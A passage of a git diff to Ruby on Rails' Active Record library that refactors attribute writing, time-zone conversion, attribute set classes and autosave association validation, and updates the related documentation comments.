-        mattr_accessor :time_zone_aware_attributes, instance_writer: false
-        self.time_zone_aware_attributes = false
-
-        class_attribute :skip_time_zone_conversion_for_attributes, instance_writer: false
-        self.skip_time_zone_conversion_for_attributes = []
-
-        class_attribute :time_zone_aware_types, instance_writer: false
-        self.time_zone_aware_types = [:datetime, :time]
+        class_attribute :time_zone_aware_attributes, instance_writer: false, default: false
+        class_attribute :skip_time_zone_conversion_for_attributes, instance_writer: false, default: []
+        class_attribute :time_zone_aware_types, instance_writer: false, default: [ :datetime, :time ]
       end
 
-      module ClassMethods
+      module ClassMethods # :nodoc:
         private
+          def hook_attribute_type(name, cast_type)
+            if create_time_zone_conversion_attribute?(name, cast_type)
+              cast_type = TimeZoneConverter.new(cast_type)
+            end
 
-          def inherited(subclass)
             super
-            # We need to apply this decorator here, rather than on module inclusion. The closure
-            # created by the matcher would otherwise evaluate for `ActiveRecord::Base`, not the
-            # sub class being decorated. As such, changes to `time_zone_aware_attributes`, or
-            # `skip_time_zone_conversion_for_attributes` would not be picked up.
-            subclass.class_eval do
-              matcher = ->(name, type) { create_time_zone_conversion_attribute?(name, type) }
-              decorate_matching_attribute_types(matcher, :_time_zone_conversion) do |type|
-                TimeZoneConverter.new(type)
-              end
-            end
           end
 
           def create_time_zone_conversion_attribute?(name, cast_type)
diff --git a/activerecord/lib/active_record/attribute_methods/write.rb b/activerecord/lib/active_record/attribute_methods/write.rb
index fe0e01db28320..4c545ed80200e 100644
--- a/activerecord/lib/active_record/attribute_methods/write.rb
+++ b/activerecord/lib/active_record/attribute_methods/write.rb
@@ -1,65 +1,49 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module AttributeMethods
+    # = Active Record Attribute Methods \Write
     module Write
       extend ActiveSupport::Concern
 
       included do
-        attribute_method_suffix "="
+        attribute_method_suffix "=", parameters: "value"
       end
 
-      module ClassMethods
+      module ClassMethods # :nodoc:
         private
-
-          def define_method_attribute=(name)
-            safe_name = name.unpack("h*".freeze).first
-            ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name
-
-            generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
-              def __temp__#{safe_name}=(value)
-                name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{safe_name}
-                write_attribute(name, value)
+          def define_method_attribute=(canonical_name, owner:, as: canonical_name)
+            ActiveModel::AttributeMethods::AttrNames.define_attribute_accessor_method(
+              owner, canonical_name, writer: true,
+            ) do |temp_method_name, attr_name_expr|
+              owner.define_cached_method(temp_method_name, as: "#{as}=", namespace: :active_record) do |batch|
+                batch <<
+                  "def #{temp_method_name}(value)" <<
+                  "  _write_attribute(#{attr_name_expr}, value)" <<
+                  "end"
               end
-              alias_method #{(name + '=').inspect}, :__temp__#{safe_name}=
-              undef_method :__temp__#{safe_name}=
-            STR
+            end
           end
       end
 
-      # Updates the attribute identified by <tt>attr_name</tt> with the
-      # specified +value+. Empty strings for Integer and Float columns are
-      # turned into +nil+.
+      # Updates the attribute identified by +attr_name+ using the specified
+      # +value+. The attribute value will be type cast upon being read.
       def write_attribute(attr_name, value)
-        name = if self.class.attribute_alias?(attr_name)
-          self.class.attribute_alias(attr_name).to_s
-        else
-          attr_name.to_s
-        end
+        name = attr_name.to_s
+        name = self.class.attribute_aliases[name] || name
 
-        write_attribute_with_type_cast(name, value, true)
+        name = @primary_key if name == "id" && @primary_key
+        @attributes.write_from_user(name, value)
       end
 
-      def raw_write_attribute(attr_name, value) # :nodoc:
-        write_attribute_with_type_cast(attr_name, value, false)
+      # This method exists to avoid the expensive primary_key check internally, without
+      # breaking compatibility with the write_attribute API
+      def _write_attribute(attr_name, value) # :nodoc:
+        @attributes.write_from_user(attr_name, value)
       end
 
-      private
-        # Handle *= for method_missing.
-        def attribute=(attribute_name, value)
-          write_attribute(attribute_name, value)
-        end
-
-        def write_attribute_with_type_cast(attr_name, value, should_type_cast)
-          attr_name = attr_name.to_s
-          attr_name = self.class.primary_key if attr_name == "id" && self.class.primary_key
-
-          if should_type_cast
-            @attributes.write_from_user(attr_name, value)
-          else
-            @attributes.write_cast_value(attr_name, value)
-          end
-
-          value
-        end
+      alias :attribute= :_write_attribute
+      private :attribute=
     end
   end
 end
diff --git a/activerecord/lib/active_record/attribute_mutation_tracker.rb b/activerecord/lib/active_record/attribute_mutation_tracker.rb
deleted file mode 100644
index 4de993e1696a5..0000000000000
--- a/activerecord/lib/active_record/attribute_mutation_tracker.rb
+++ /dev/null
@@ -1,113 +0,0 @@
-module ActiveRecord
-  class AttributeMutationTracker # :nodoc:
-    OPTION_NOT_GIVEN = Object.new
-
-    def initialize(attributes)
-      @attributes = attributes
-      @forced_changes = Set.new
-      @deprecated_forced_changes = Set.new
-    end
-
-    def changed_values
-      attr_names.each_with_object({}.with_indifferent_access) do |attr_name, result|
-        if changed?(attr_name)
-          result[attr_name] = attributes[attr_name].original_value
-        end
-      end
-    end
-
-    def changes
-      attr_names.each_with_object({}.with_indifferent_access) do |attr_name, result|
-        change = change_to_attribute(attr_name)
-        if change
-          result[attr_name] = change
-        end
-      end
-    end
-
-    def change_to_attribute(attr_name)
-      if changed?(attr_name)
-        [attributes[attr_name].original_value, attributes.fetch_value(attr_name)]
-      end
-    end
-
-    def any_changes?
-      attr_names.any? { |attr| changed?(attr) } || deprecated_forced_changes.any?
-    end
-
-    def changed?(attr_name, from: OPTION_NOT_GIVEN, to: OPTION_NOT_GIVEN)
-      attr_name = attr_name.to_s
-      forced_changes.include?(attr_name) ||
-        attributes[attr_name].changed? &&
-        (OPTION_NOT_GIVEN == from || attributes[attr_name].original_value == from) &&
-        (OPTION_NOT_GIVEN == to || attributes[attr_name].value == to)
-    end
-
-    def changed_in_place?(attr_name)
-      attributes[attr_name].changed_in_place?
-    end
-
-    def forget_change(attr_name)
-      attr_name = attr_name.to_s
-      attributes[attr_name] = attributes[attr_name].forgetting_assignment
-      forced_changes.delete(attr_name)
-    end
-
-    def original_value(attr_name)
-      attributes[attr_name].original_value
-    end
-
-    def force_change(attr_name)
-      forced_changes << attr_name.to_s
-    end
-
-    def deprecated_force_change(attr_name)
-      deprecated_forced_changes << attr_name.to_s
-    end
-
-    # TODO Change this to private once we've dropped Ruby 2.2 support.
-    # Workaround for Ruby 2.2 "private attribute?" warning.
-    protected
-
-      attr_reader :attributes, :forced_changes, :deprecated_forced_changes
-
-    private
-
-      def attr_names
-        attributes.keys
-      end
-  end
-
-  class NullMutationTracker # :nodoc:
-    include Singleton
-
-    def changed_values(*)
-      {}
-    end
-
-    def changes(*)
-      {}
-    end
-
-    def change_to_attribute(attr_name)
-    end
-
-    def any_changes?(*)
-      false
-    end
-
-    def changed?(*)
-      false
-    end
-
-    def changed_in_place?(*)
-      false
-    end
-
-    def forget_change(*)
-    end
-
-    def original_value(*)
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/attribute_set.rb b/activerecord/lib/active_record/attribute_set.rb
deleted file mode 100644
index 66b278219aea1..0000000000000
--- a/activerecord/lib/active_record/attribute_set.rb
+++ /dev/null
@@ -1,113 +0,0 @@
-require "active_record/attribute_set/builder"
-require "active_record/attribute_set/yaml_encoder"
-
-module ActiveRecord
-  class AttributeSet # :nodoc:
-    delegate :each_value, :fetch, to: :attributes
-
-    def initialize(attributes)
-      @attributes = attributes
-    end
-
-    def [](name)
-      attributes[name] || Attribute.null(name)
-    end
-
-    def []=(name, value)
-      attributes[name] = value
-    end
-
-    def values_before_type_cast
-      attributes.transform_values(&:value_before_type_cast)
-    end
-
-    def to_hash
-      initialized_attributes.transform_values(&:value)
-    end
-    alias_method :to_h, :to_hash
-
-    def key?(name)
-      attributes.key?(name) && self[name].initialized?
-    end
-
-    def keys
-      attributes.each_key.select { |name| self[name].initialized? }
-    end
-
-    if defined?(JRUBY_VERSION)
-      # This form is significantly faster on JRuby, and this is one of our biggest hotspots.
-      # https://github.com/jruby/jruby/pull/2562
-      def fetch_value(name, &block)
-        self[name].value(&block)
-      end
-    else
-      def fetch_value(name)
-        self[name].value { |n| yield n if block_given? }
-      end
-    end
-
-    def write_from_database(name, value)
-      attributes[name] = self[name].with_value_from_database(value)
-    end
-
-    def write_from_user(name, value)
-      attributes[name] = self[name].with_value_from_user(value)
-    end
-
-    def write_cast_value(name, value)
-      attributes[name] = self[name].with_cast_value(value)
-    end
-
-    def freeze
-      @attributes.freeze
-      super
-    end
-
-    def deep_dup
-      dup.tap do |copy|
-        copy.instance_variable_set(:@attributes, attributes.deep_dup)
-      end
-    end
-
-    def initialize_dup(_)
-      @attributes = attributes.dup
-      super
-    end
-
-    def initialize_clone(_)
-      @attributes = attributes.clone
-      super
-    end
-
-    def reset(key)
-      if key?(key)
-        write_from_database(key, nil)
-      end
-    end
-
-    def accessed
-      attributes.select { |_, attr| attr.has_been_read? }.keys
-    end
-
-    def map(&block)
-      new_attributes = attributes.transform_values(&block)
-      AttributeSet.new(new_attributes)
-    end
-
-    def ==(other)
-      attributes == other.attributes
-    end
-
-    # TODO Change this to private once we've dropped Ruby 2.2 support.
-    # Workaround for Ruby 2.2 "private attribute?" warning.
-    protected
-
-      attr_reader :attributes
-
-    private
-
-      def initialized_attributes
-        attributes.select { |_, attr| attr.initialized? }
-      end
-  end
-end
diff --git a/activerecord/lib/active_record/attribute_set/builder.rb b/activerecord/lib/active_record/attribute_set/builder.rb
deleted file mode 100644
index 2f624d32af225..0000000000000
--- a/activerecord/lib/active_record/attribute_set/builder.rb
+++ /dev/null
@@ -1,124 +0,0 @@
-require "active_record/attribute"
-
-module ActiveRecord
-  class AttributeSet # :nodoc:
-    class Builder # :nodoc:
-      attr_reader :types, :always_initialized, :default
-
-      def initialize(types, always_initialized = nil, &default)
-        @types = types
-        @always_initialized = always_initialized
-        @default = default
-      end
-
-      def build_from_database(values = {}, additional_types = {})
-        if always_initialized && !values.key?(always_initialized)
-          values[always_initialized] = nil
-        end
-
-        attributes = LazyAttributeHash.new(types, values, additional_types, &default)
-        AttributeSet.new(attributes)
-      end
-    end
-  end
-
-  class LazyAttributeHash # :nodoc:
-    delegate :transform_values, :each_key, :each_value, :fetch, to: :materialize
-
-    def initialize(types, values, additional_types, &default)
-      @types = types
-      @values = values
-      @additional_types = additional_types
-      @materialized = false
-      @delegate_hash = {}
-      @default = default || proc {}
-    end
-
-    def key?(key)
-      delegate_hash.key?(key) || values.key?(key) || types.key?(key)
-    end
-
-    def [](key)
-      delegate_hash[key] || assign_default_value(key)
-    end
-
-    def []=(key, value)
-      if frozen?
-        raise RuntimeError, "Can't modify frozen hash"
-      end
-      delegate_hash[key] = value
-    end
-
-    def deep_dup
-      dup.tap do |copy|
-        copy.instance_variable_set(:@delegate_hash, delegate_hash.transform_values(&:dup))
-      end
-    end
-
-    def initialize_dup(_)
-      @delegate_hash = Hash[delegate_hash]
-      super
-    end
-
-    def select
-      keys = types.keys | values.keys | delegate_hash.keys
-      keys.each_with_object({}) do |key, hash|
-        attribute = self[key]
-        if yield(key, attribute)
-          hash[key] = attribute
-        end
-      end
-    end
-
-    def ==(other)
-      if other.is_a?(LazyAttributeHash)
-        materialize == other.materialize
-      else
-        materialize == other
-      end
-    end
-
-    def marshal_dump
-      materialize
-    end
-
-    def marshal_load(delegate_hash)
-      @delegate_hash = delegate_hash
-      @types = {}
-      @values = {}
-      @additional_types = {}
-      @materialized = true
-    end
-
-    # TODO Change this to private once we've dropped Ruby 2.2 support.
-    # Workaround for Ruby 2.2 "private attribute?" warning.
-    protected
-
-      attr_reader :types, :values, :additional_types, :delegate_hash, :default
-
-      def materialize
-        unless @materialized
-          values.each_key { |key| self[key] }
-          types.each_key { |key| self[key] }
-          unless frozen?
-            @materialized = true
-          end
-        end
-        delegate_hash
-      end
-
-    private
-
-      def assign_default_value(name)
-        type = additional_types.fetch(name, types[name])
-        value_present = true
-        value = values.fetch(name) { value_present = false }
-
-        if value_present
-          delegate_hash[name] = Attribute.from_database(name, value, type)
-        elsif types.key?(name)
-          delegate_hash[name] = default.call(name) || Attribute.uninitialized(name, type)
-        end
-      end
-  end
-end
diff --git a/activerecord/lib/active_record/attributes.rb b/activerecord/lib/active_record/attributes.rb
index 75f5ba3a96d2d..f4873d54b6885 100644
--- a/activerecord/lib/active_record/attributes.rb
+++ b/activerecord/lib/active_record/attributes.rb
@@ -1,16 +1,19 @@
-require "active_record/attribute/user_provided_default"
+# frozen_string_literal: true
+
+require "active_model/attribute/user_provided_default"
 
 module ActiveRecord
   # See ActiveRecord::Attributes::ClassMethods for documentation
   module Attributes
     extend ActiveSupport::Concern
+    include ActiveModel::AttributeRegistration
+    include ActiveModel::Attributes::Normalization
 
-    included do
-      class_attribute :attributes_to_define_after_schema_loads, instance_accessor: false # :internal:
-      self.attributes_to_define_after_schema_loads = {}
-    end
-
+    # = Active Record \Attributes
     module ClassMethods
+      # :method: attribute
+      # :call-seq: attribute(name, cast_type = nil, **options)
+      #
       # Defines an attribute with a type on this model. It will override the
       # type of existing attributes if needed. This allows control over how
       # values are converted to and from SQL when assigned to a model. It also
@@ -19,26 +22,37 @@ module ClassMethods
       # your domain objects across much of Active Record, without having to
       # rely on implementation details or monkey patching.
       #
-      # +name+ The name of the methods to define attribute methods for, and the
-      # column which this will persist to.
+      # ==== Parameters
       #
-      # +cast_type+ A symbol such as +:string+ or +:integer+, or a type object
-      # to be used for this attribute. See the examples below for more
-      # information about providing custom type objects.
+      # [+name+]
+      #   The name of the methods to define attribute methods for, and the
+      #   column which this will persist to.
+      #
+      # [+cast_type+]
+      #   A symbol such as +:string+ or +:integer+, or a type object to be used
+      #   for this attribute. If this parameter is not passed, the previously
+      #   defined type (if any) will be used. Otherwise, the type will be
+      #   ActiveModel::Type::Value. See the examples below for more information
+      #   about providing custom type objects.
       #
       # ==== Options
       #
-      # The following options are accepted:
+      # [+:default+]
+      #   The default value to use when no value is provided. If this option is
+      #   not passed, the previously defined default value (if any) on the
+      #   superclass or in the schema will be used. Otherwise, the default will
+      #   be +nil+.
       #
-      # +default+ The default value to use when no value is provided. If this option
-      # is not passed, the previous default value (if any) will be used.
-      # Otherwise, the default will be +nil+.
+      # [+:array+]
+      #   (PostgreSQL only) Specifies that the type should be an array. See the
+      #   examples below.
       #
-      # +array+ (PostgreSQL only) specifies that the type should be an array (see the
-      # examples below).
+      # [+:range+]
+      #   (PostgreSQL only) Specifies that the type should be a range. See the
+      #   examples below.
       #
-      # +range+ (PostgreSQL only) specifies that the type should be a range (see the
-      # examples below).
+      # When using a symbol for +cast_type+, extra options are forwarded to the
+      # constructor of the type object.
       #
       # ==== Examples
       #
@@ -56,7 +70,7 @@ module ClassMethods
       #   store_listing = StoreListing.new(price_in_cents: '10.1')
       #
       #   # before
-      #   store_listing.price_in_cents # => BigDecimal.new(10.1)
+      #   store_listing.price_in_cents # => BigDecimal(10.1)
       #
       #   class StoreListing < ActiveRecord::Base
       #     attribute :price_in_cents, :integer
@@ -111,6 +125,16 @@ module ClassMethods
       #       my_float_range: 1.0..3.5
       #     }
       #
+      # Passing options to the type constructor
+      #
+      #   # app/models/my_model.rb
+      #   class MyModel < ActiveRecord::Base
+      #     attribute :small_int, :integer, limit: 2
+      #   end
+      #
+      #   MyModel.create(small_int: 65537)
+      #   # => Error: 65537 is out of range for the limit of two bytes
+      #
       # ==== Creating Custom Types
       #
       # Users may also define their own custom types, as long as they respond
@@ -120,7 +144,7 @@ module ClassMethods
       # expected API. It is recommended that your type objects inherit from an
       # existing type, or from ActiveRecord::Type::Value
       #
-      #   class MoneyType < ActiveRecord::Type::Integer
+      #   class PriceType < ActiveRecord::Type::Integer
       #     def cast(value)
       #       if !value.kind_of?(Numeric) && value.include?('$')
       #         price_in_dollars = value.gsub(/\$/, '').to_f
@@ -132,11 +156,11 @@ module ClassMethods
       #   end
       #
       #   # config/initializers/types.rb
-      #   ActiveRecord::Type.register(:money, MoneyType)
+      #   ActiveRecord::Type.register(:price, PriceType)
       #
       #   # app/models/store_listing.rb
       #   class StoreListing < ActiveRecord::Base
-      #     attribute :price_in_cents, :money
+      #     attribute :price_in_cents, :price
       #   end
       #
       #   store_listing = StoreListing.new(price_in_cents: '$10.00')
@@ -156,13 +180,13 @@ module ClassMethods
       #   class Money < Struct.new(:amount, :currency)
       #   end
       #
-      #   class MoneyType < Type::Value
+      #   class PriceType < ActiveRecord::Type::Value
       #     def initialize(currency_converter:)
       #       @currency_converter = currency_converter
       #     end
       #
-      #     # value will be the result of +deserialize+ or
-      #     # +cast+. Assumed to be an instance of +Money+ in
+      #     # value will be the result of #deserialize or
+      #     # #cast. Assumed to be an instance of Money in
       #     # this case.
       #     def serialize(value)
       #       value_in_bitcoins = @currency_converter.convert_to_bitcoins(value)
@@ -171,19 +195,19 @@ module ClassMethods
       #   end
       #
       #   # config/initializers/types.rb
-      #   ActiveRecord::Type.register(:money, MoneyType)
+      #   ActiveRecord::Type.register(:price, PriceType)
       #
       #   # app/models/product.rb
       #   class Product < ActiveRecord::Base
       #     currency_converter = ConversionRatesFromTheInternet.new
-      #     attribute :price_in_bitcoins, :money, currency_converter: currency_converter
+      #     attribute :price_in_bitcoins, :price, currency_converter: currency_converter
       #   end
       #
       #   Product.where(price_in_bitcoins: Money.new(5, "USD"))
-      #   # => SELECT * FROM products WHERE price_in_bitcoins = 0.02230
+      #   # SELECT * FROM products WHERE price_in_bitcoins = 0.02230
       #
       #   Product.where(price_in_bitcoins: Money.new(5, "GBP"))
-      #   # => SELECT * FROM products WHERE price_in_bitcoins = 0.03412
+      #   # SELECT * FROM products WHERE price_in_bitcoins = 0.03412
       #
       # ==== Dirty Tracking
       #
@@ -191,34 +215,31 @@ module ClassMethods
       # tracking is performed. The methods +changed?+ and +changed_in_place?+
       # will be called from ActiveModel::Dirty. See the documentation for those
       # methods in ActiveModel::Type::Value for more details.
-      def attribute(name, cast_type = Type::Value.new, **options)
-        name = name.to_s
-        reload_schema_from_cache
-
-        self.attributes_to_define_after_schema_loads =
-          attributes_to_define_after_schema_loads.merge(
-            name => [cast_type, options]
-          )
-      end
+      #
+      #--
+      # Implemented by ActiveModel::AttributeRegistration#attribute.
 
-      # This is the low level API which sits beneath +attribute+. It only
-      # accepts type objects, and will do its work immediately instead of
-      # waiting for the schema to load. Automatic schema detection and
-      # ClassMethods#attribute both call this under the hood. While this method
+      # This API only accepts type objects, and will do its work immediately instead of
+      # waiting for the schema to load. While this method
       # is provided so it can be used by plugin authors, application code
       # should probably use ClassMethods#attribute.
       #
-      # +name+ The name of the attribute being defined. Expected to be a +String+.
+      # ==== Parameters
       #
-      # +cast_type+ The type object to use for this attribute.
+      # [+name+]
+      #   The name of the attribute being defined. Expected to be a +String+.
       #
-      # +default+ The default value to use when no value is provided. If this option
-      # is not passed, the previous default value (if any) will be used.
-      # Otherwise, the default will be +nil+. A proc can also be passed, and
-      # will be called once each time a new value is needed.
+      # [+cast_type+]
+      #   The type object to use for this attribute.
       #
-      # +user_provided_default+ Whether the default value should be cast using
-      # +cast+ or +deserialize+.
+      # [+default+]
+      #   The default value to use when no value is provided. If this option
+      #   is not passed, the previous default value (if any) will be used.
+      #   Otherwise, the default will be +nil+. A proc can also be passed, and
+      #   will be called once each time a new value is needed.
+      #
+      # [+user_provided_default+]
+      #   Whether the default value should be cast using +cast+ or +deserialize+.
       def define_attribute(
         name,
         cast_type,
@@ -229,19 +250,40 @@ def define_attribute(
         define_default_attribute(name, default, cast_type, from_user: user_provided_default)
       end
 
-      def load_schema! # :nodoc:
-        super
-        attributes_to_define_after_schema_loads.each do |name, (type, options)|
-          if type.is_a?(Symbol)
-            type = ActiveRecord::Type.lookup(type, **options.except(:default))
+      def _default_attributes # :nodoc:
+        @default_attributes ||= begin
+          # TODO: Remove the need for a connection after we release 8.1.
+          attributes_hash = with_connection do |connection|
+            columns_hash.transform_values do |column|
+              ActiveModel::Attribute.from_database(column.name, column.default, type_for_column(connection, column))
+            end
           end
 
-          define_attribute(name, type, **options.slice(:default))
+          attribute_set = ActiveModel::AttributeSet.new(attributes_hash)
+          apply_pending_attribute_modifications(attribute_set)
+          attribute_set
         end
       end
 
-      private
+      ##
+      # :method: type_for_attribute
+      # :call-seq: type_for_attribute(attribute_name, &block)
+      #
+      # See ActiveModel::Attributes::ClassMethods#type_for_attribute.
+      #
+      # This method will access the database and load the model's schema if
+      # necessary.
+      #--
+      # Implemented by ActiveModel::AttributeRegistration::ClassMethods#type_for_attribute.
 
+      ##
+      protected
+        def reload_schema_from_cache(*)
+          reset_default_attributes!
+          super
+        end
+
+      private
         NO_DEFAULT_PROVIDED = Object.new # :nodoc:
         private_constant :NO_DEFAULT_PROVIDED
 
@@ -249,17 +291,30 @@ def define_default_attribute(name, value, type, from_user:)
           if value == NO_DEFAULT_PROVIDED
             default_attribute = _default_attributes[name].with_type(type)
           elsif from_user
-            default_attribute = Attribute::UserProvidedDefault.new(
+            default_attribute = ActiveModel::Attribute::UserProvidedDefault.new(
               name,
               value,
               type,
               _default_attributes.fetch(name.to_s) { nil },
             )
           else
-            default_attribute = Attribute.from_database(name, value, type)
+            default_attribute = ActiveModel::Attribute.from_database(name, value, type)
           end
           _default_attributes[name] = default_attribute
         end
+
+        def reset_default_attributes
+          reload_schema_from_cache
+        end
+
+        def resolve_type_name(name, **options)
+          Type.lookup(name, **options, adapter: Type.adapter_name_from(self))
+        end
+
+        def type_for_column(connection, column)
+          # TODO: Remove the need for a connection after we release 8.1.
+          hook_attribute_type(column.name, super)
+        end
     end
   end
 end
diff --git a/activerecord/lib/active_record/autosave_association.rb b/activerecord/lib/active_record/autosave_association.rb
index 6bccbc06cd46e..e20c4a652a0db 100644
--- a/activerecord/lib/active_record/autosave_association.rb
+++ b/activerecord/lib/active_record/autosave_association.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+require "active_record/associations/nested_error"
+
 module ActiveRecord
   # = Active Record Autosave Association
   #
@@ -24,12 +28,12 @@ module ActiveRecord
   #
   # Child records are validated unless <tt>:validate</tt> is +false+.
   #
-  # == Callbacks
+  # == \Callbacks
   #
   # Association with autosave option defines several callbacks on your
-  # model (before_save, after_create, after_update). Please note that
+  # model (around_save, before_save, after_create, after_update). Please note that
   # callbacks are executed in the order they were defined in
-  # model. You should avoid modifying the association content, before
+  # model. You should avoid modifying the association content before
   # autosave callbacks are executed. Placing your callbacks after
   # associations is usually a good practice.
   #
@@ -89,8 +93,9 @@ module ActiveRecord
   #   post.save # => saves both post and comment
   #
   #   post = Post.create(title: 'ruby rocks')
-  #   post.comments.create(body: 'hello world')
-  #   post.save # => saves both post and comment
+  #   comment = post.comments.create(body: 'hello world')
+  #   comment.body = 'hi everyone'
+  #   post.save # => saves post, but not comment
   #
   # When <tt>:autosave</tt> is true all children are saved, no matter whether they
   # are new records or not:
@@ -100,11 +105,10 @@ module ActiveRecord
   #   end
   #
   #   post = Post.create(title: 'ruby rocks')
-  #   post.comments.create(body: 'hello world')
-  #   post.comments[0].body = 'hi everyone'
+  #   comment = post.comments.create(body: 'hello world')
+  #   comment.body = 'hi everyone'
   #   post.comments.build(body: "good morning.")
-  #   post.title += "!"
-  #   post.save # => saves both post and comments.
+  #   post.save # => saves post and both comments.
   #
   # Destroying one of the associated models as part of the parent's save action
   # is as simple as marking it for destruction:
@@ -125,10 +129,18 @@ module ActiveRecord
   # Now it _is_ removed from the database:
   #
   #   Comment.find_by(id: id).nil? # => true
+  #
+  # === Caveats
+  #
+  # Note that autosave will only trigger for already-persisted association records
+  # if the records themselves have been changed. This is to protect against
+  # <tt>SystemStackError</tt> caused by circular association validations. The one
+  # exception is if a custom validation context is used, in which case the validations
+  # will always fire on the associated records.
   module AutosaveAssociation
     extend ActiveSupport::Concern
 
-    module AssociationBuilderExtension #:nodoc:
+    module AssociationBuilderExtension # :nodoc:
       def self.build(model, reflection)
         model.send(:add_autosave_association_callbacks, reflection)
       end
@@ -140,15 +152,13 @@ def self.valid_options
 
     included do
       Associations::Builder::Association.extensions << AssociationBuilderExtension
-      mattr_accessor :index_nested_attribute_errors, instance_writer: false
-      self.index_nested_attribute_errors = false
     end
 
     module ClassMethods # :nodoc:
       private
-
         def define_non_cyclic_method(name, &block)
-          return if method_defined?(name)
+          return if method_defined?(name, false)
+
           define_method(name) do |*args|
             result = true; @_already_called ||= {}
             # Loop prevention for validation of associations
@@ -180,14 +190,14 @@ def add_autosave_association_callbacks(reflection)
           save_method = :"autosave_associated_records_for_#{reflection.name}"
 
           if reflection.collection?
-            before_save :before_save_collection_association
+            around_save :around_save_collection_association
 
             define_non_cyclic_method(save_method) { save_collection_association(reflection) }
             # Doesn't use after_save as that would save associations added in after_create/after_update twice
             after_create save_method
             after_update save_method
           elsif reflection.has_one?
-            define_method(save_method) { save_has_one_association(reflection) } unless method_defined?(save_method)
+            define_non_cyclic_method(save_method) { save_has_one_association(reflection) }
             # Configures two callbacks instead of a single after_save so that
             # the model may rely on their execution order relative to its
             # own callbacks.
@@ -211,17 +221,13 @@ def define_autosave_validation_callbacks(reflection)
           if reflection.validate? && !method_defined?(validation_method)
             if reflection.collection?
               method = :validate_collection_association
+            elsif reflection.has_one?
+              method = :validate_has_one_association
             else
-              method = :validate_single_association
+              method = :validate_belongs_to_association
             end
 
-            define_non_cyclic_method(validation_method) do
-              send(method, reflection)
-              # TODO: remove the following line as soon as the return value of
-              # callbacks is ignored, that is, returning `false` does not
-              # display a deprecation warning or halts the callback chain.
-              true
-            end
+            define_non_cyclic_method(validation_method) { send(method, reflection) }
             validate validation_method
             after_validation :_ensure_no_duplicate_errors
           end
@@ -270,13 +276,27 @@ def changed_for_autosave?
       new_record? || has_changes_to_save? || marked_for_destruction? || nested_records_changed_for_autosave?
     end
 
+    def validating_belongs_to_for?(association)
+      @validating_belongs_to_for ||= {}
+      @validating_belongs_to_for[association]
+    end
+
+    def autosaving_belongs_to_for?(association)
+      @autosaving_belongs_to_for ||= {}
+      @autosaving_belongs_to_for[association]
+    end
+
     private
+      def init_internals
+        super
+        @_already_called = nil
+      end
 
       # Returns the record for an association collection that should be validated
       # or saved. If +autosave+ is +false+ only new records will be returned,
       # unless the parent is/was a new record itself.
       def associated_records_to_validate_or_save(association, new_record, autosave)
-        if new_record
+        if new_record || custom_validation_context?
           association && association.target
         elsif autosave
           association.target.find_all(&:changed_for_autosave?)
@@ -285,8 +305,9 @@ def associated_records_to_validate_or_save(association, new_record, autosave)
         end
       end
 
-      # go through nested autosave associations that are loaded in memory (without loading
-      # any new ones), and return true if is changed for autosave
+      # Go through nested autosave associations that are loaded in memory (without loading
+      # any new ones), and return true if any are changed for autosave.
+      # Returns false if already called to prevent an infinite loop.
       def nested_records_changed_for_autosave?
         @_nested_records_changed_for_autosave_already_called ||= false
         return false if @_nested_records_changed_for_autosave_already_called
@@ -304,11 +325,33 @@ def nested_records_changed_for_autosave?
       end
 
       # Validate the association if <tt>:validate</tt> or <tt>:autosave</tt> is
-      # turned on for the association.
-      def validate_single_association(reflection)
+      # turned on for the has_one association.
+      def validate_has_one_association(reflection)
+        association = association_instance_get(reflection.name)
+        record      = association && association.reader
+        return unless record && (record.changed_for_autosave? || custom_validation_context?)
+
+        inverse_association = reflection.inverse_of && record.association(reflection.inverse_of.name)
+        return if inverse_association && (record.validating_belongs_to_for?(inverse_association) ||
+          record.autosaving_belongs_to_for?(inverse_association))
+
+        association_valid?(association, record)
+      end
+
+      # Validate the association if <tt>:validate</tt> or <tt>:autosave</tt> is
+      # turned on for the belongs_to association.
+      def validate_belongs_to_association(reflection)
         association = association_instance_get(reflection.name)
         record      = association && association.reader
-        association_valid?(reflection, record) if record
+        return unless record && (record.changed_for_autosave? || custom_validation_context?)
+
+        begin
+          @validating_belongs_to_for ||= {}
+          @validating_belongs_to_for[association] = true
+          association_valid?(association, record)
+        ensure
+          @validating_belongs_to_for[association] = false
+        end
       end
 
       # Validate the associated records if <tt>:validate</tt> or
@@ -317,7 +360,7 @@ def validate_single_association(reflection)
       def validate_collection_association(reflection)
         if association = association_instance_get(reflection.name)
           if records = associated_records_to_validate_or_save(association, new_record?, reflection.options[:autosave])
-            records.each_with_index { |record, index| association_valid?(reflection, record, index) }
+            records.each { |record| association_valid?(association, record) }
           end
         end
       end
@@ -325,50 +368,44 @@ def validate_collection_association(reflection)
       # Returns whether or not the association is valid and applies any errors to
       # the parent, <tt>self</tt>, if it wasn't. Skips any <tt>:autosave</tt>
       # enabled records if they're marked_for_destruction? or destroyed.
-      def association_valid?(reflection, record, index = nil)
-        return true if record.destroyed? || (reflection.options[:autosave] && record.marked_for_destruction?)
+      def association_valid?(association, record)
+        return true if record.destroyed? || (association.options[:autosave] && record.marked_for_destruction?)
 
-        context = validation_context unless [:create, :update].include?(validation_context)
+        context = validation_context if custom_validation_context?
+        return true if record.valid?(context)
 
-        unless valid = record.valid?(context)
-          if reflection.options[:autosave]
-            indexed_attribute = !index.nil? && (reflection.options[:index_errors] || ActiveRecord::Base.index_nested_attribute_errors)
-
-            record.errors.each do |attribute, message|
-              attribute = normalize_reflection_attribute(indexed_attribute, reflection, index, attribute)
-              errors[attribute] << message
-              errors[attribute].uniq!
-            end
+        if context || record.changed_for_autosave?
+          associated_errors = record.errors.objects
+        else
+          # If there are existing invalid records in the DB, we should still be able to reference them.
+          # Unless a record (no matter where in the association chain) is invalid and is being changed.
+          associated_errors = record.errors.objects.select { |error| error.is_a?(Associations::NestedError) }
+        end
 
-            record.errors.details.each_key do |attribute|
-              reflection_attribute =
-                normalize_reflection_attribute(indexed_attribute, reflection, index, attribute).to_sym
+        if association.options[:autosave]
+          return if equal?(record)
 
-              record.errors.details[attribute].each do |error|
-                errors.details[reflection_attribute] << error
-                errors.details[reflection_attribute].uniq!
-              end
-            end
-          else
-            errors.add(reflection.name)
-          end
+          associated_errors.each { |error|
